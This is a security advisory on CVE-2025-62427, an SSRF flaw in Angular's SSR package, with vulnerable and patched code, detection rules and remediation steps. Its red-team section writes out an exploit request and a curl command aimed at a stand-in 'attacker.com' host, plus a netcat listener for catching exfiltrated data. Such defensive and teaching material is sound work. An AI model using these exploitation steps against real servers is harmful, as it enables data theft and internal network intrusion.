CVE-2025-62427

Executive Summary

CVE-2025-62427 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Angular Server-Side Rendering (SSR) package (@angular/ssr). The flaw resides in the createRequestUrl function, which improperly handles URL paths beginning with // or \\. By sending a crafted request with a double-slash prefix, an attacker can force the SSR server to resolve relative URLs against an attacker-controlled external domain. This allows the attacker to exfiltrate sensitive data, perform internal network reconnaissance, or pivot to internal services from the SSR server.

Supply Chain & Package Security

This vulnerability affects the @angular/ssr npm package. Organizations using Angular SSR must immediately audit their dependency tree for affected versions. The package is widely used in enterprise Angular applications for server-side rendering, making this a high-impact supply chain risk. Ensure that all deployments use versions 19.2.18, 20.3.6, or 21.0.0-next.8 or later.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker-controlled resource are in the same security authority.
• Confidentiality (C): High (H) – Potential exfiltration of sensitive data.
• Integrity (I): High (H) – Attacker can manipulate SSR responses.
• Availability (A): High (H) – Could lead to denial of service or resource exhaustion.

Threat Level: Critical (CVSS 9.8)

Deep Dive & Mechanics

The vulnerability is in the createRequestUrl function within @angular/ssr. This function constructs the full request URL by combining a base URL (protocol, host, port) with the incoming request path. The native JavaScript URL constructor is used for this resolution.

When the incoming request path starts with // (e.g., //attacker.com/path), the URL constructor interprets it as a schema-relative URL. This means the protocol from the base URL is preserved, but the hostname is taken from the attacker-controlled path. For example:

• Base URL: http://internal-app.com
• Incoming path: //evil.com/data
• Resolved URL: http://evil.com/data

This bypasses the intended security mechanism that should restrict all requests to the base URL's origin. As a result, any subsequent relative HTTP requests made during SSR (e.g., HttpClient.get('/api/users')) will be resolved against http://evil.com instead of http://internal-app.com. This allows the attacker to:

• Exfiltrate server-side tokens, cookies, or internal data.
• Perform SSRF attacks against internal services (e.g., cloud metadata endpoints).
• Manipulate the SSR output to inject malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (before fix):

function createRequestUrl(url, baseUrl) {
  // Vulnerable: URL constructor treats //evil.com as schema-relative
  return new URL(url, baseUrl).toString();
}

Patched Code (after fix):

function createRequestUrl(url, baseUrl) {
  // Sanitize: strip leading slashes to prevent schema-relative URL abuse
  const sanitizedUrl = url.replace(/^\/{2,}/, '/');
  return new URL(sanitizedUrl, baseUrl).toString();
}

The patch ensures that any path starting with two or more slashes is reduced to a single slash, preventing the URL constructor from interpreting it as a schema-relative URL.

Exploitation & Lab Setup

Red Team

Prerequisites:

• An Angular SSR application using @angular/ssr version < 19.2.18, < 20.3.6, or < 21.0.0-next.8.
• Network access to the SSR server.

Exploitation Steps:

1. Craft the malicious request:

   GET //attacker.com/api/steal HTTP/1.1
   Host: vulnerable-angular-app.com
   

2. Set up an attacker-controlled server to receive the SSR requests:

   nc -lvnp 80
   

3. Observe the SSR server making requests to your server, potentially including internal data in headers or body.

Example using curl:

curl -v "http://vulnerable-angular-app.com//attacker.com/steal"

Blue Team

Detection:

• Monitor for incoming HTTP requests with paths starting with // or \\.
• Alert on SSR server logs showing outbound connections to unexpected external domains.
• Use network segmentation to limit SSR server egress.

Hunting:

• Search for createRequestUrl usage in Angular SSR code.
• Review server logs for URL constructor calls with double-slash paths.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from SSR server to unknown external domains.
  • Incoming HTTP requests with paths starting with // or \\.
• File IOCs:
  • Modified @angular/ssr package files (check integrity via npm audit).
• Log IOCs:
  • SSR logs containing URL constructor errors or unexpected hostnames.

Detection Engineering

YARA Rule

rule Detect_Angular_SSR_SSRF_CVE_2025_62427 {
    meta:
        description = "Detects vulnerable Angular SSR createRequestUrl usage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62427"
    strings:
        $vuln_func = "createRequestUrl"
        $url_constructor = "new URL("
        $double_slash = "//"
    condition:
        $vuln_func and $url_constructor and $double_slash
}

Sigma Rule

title: CVE-2025-62427 Angular SSR SSRF Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with double-slash paths targeting Angular SSR
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '//'
    condition: selection
falsepositives:
    - Legitimate use of double-slash in some CDN configurations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62427 Angular SSR SSRF Attempt"; flow:to_server; http.uri; content:"//"; startswith; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update @angular/ssr to version 19.2.18, 20.3.6, or 21.0.0-next.8 or later.

   npm update @angular/ssr
   

2. Workaround: If patching is not immediately possible, implement a reverse proxy (e.g., Nginx) to reject requests with paths starting with // or \\:

   if ($uri ~ ^//) {
       return 403;
   }
   

3. Network Segmentation: Restrict SSR server egress to only necessary internal services.

4. Monitoring: Enable logging for all outbound HTTP requests from SSR servers and alert on unexpected destinations.

5. Code Review: Audit any custom SSR implementations for similar URL handling flaws.

Valters IT
DevSecOps & Cyber Threat Intelligence